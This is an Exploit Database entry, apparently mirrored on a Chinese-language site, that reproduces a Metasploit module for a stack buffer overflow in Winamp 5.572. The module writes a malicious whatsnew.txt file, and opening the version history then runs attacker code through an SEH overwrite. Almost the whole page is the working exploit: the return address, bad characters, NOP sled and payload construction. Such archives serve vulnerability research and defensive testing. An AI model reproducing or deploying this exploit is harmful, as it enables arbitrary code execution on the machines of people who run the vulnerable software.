Winamp 5.572 – ‘whatsnew.txt’ (SEH) (Metasploit)

• Exploit Database
• 10 阅读

• 作者： blake
  日期： 2010-04-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12255/

• # Title: Winamp 5.572 whatsnew.txt SEH (MSF)
  # Author: Blake
  # Published: 2010-04-15
  # Tested on Windows XP SP3
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Winamp 5.572 whatsnew.txt Buffer Overflow Exploit (SEH)',
  'Description' => %q{
  This module exploits a stack overflow in Winamp version 5.572.
  By creating a specially crafted whatsnew.txt file, an an attacker may be able
  to execute arbitrary code. This exploit is triggered by accessing the help - winamp
  - version history option once the whatsnew.txt file has been placed in the Winamp directory.
  },
  'License' => MSF_LICENSE,
  'Author' => 'Blake',
  'Version' => 'Version 1',
  'References' =>
  [
  [ 'OSVDB', '' ],
  [ 'URL', 'http://www.exploit-db.com/exploits/11267' ],
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process',
  },
  'Payload' =>
  {
  'Space' => 4488,
  'BadChars' => "\x00\x20\x0a\x0d",
  'StackAdjustment' => -3500,
  'DisableNops' => 'True',
  },
  'Platform' => 'win',
  'Targets' =>
  [
  [ 'Windows Universal', { 'Ret' => 0x10025497} ], #pop ebx; pop ebp; retn gen_jumpex.dll
  
  ],
  'Privileged' => false,
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ false, 'The file name.', 'whatsnew.txt']),
  ], self.class)
  end
  
  
  def exploit
  
  sploit = "Winamp 5.572"
  sploit << rand_text_alphanumeric(672)
  sploit << "\xeb\x06\x90\x90"# short jump 6 bytes
  sploit << [target.ret].pack('V')
  sploit << "\x90" * 20# nop sled
  sploit << payload.encoded
  sploit << rand_text_alphanumeric(4488 - payload.encoded.length)
  
  whatsnewtxt = sploit
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(whatsnewtxt)
  
  end
  
  end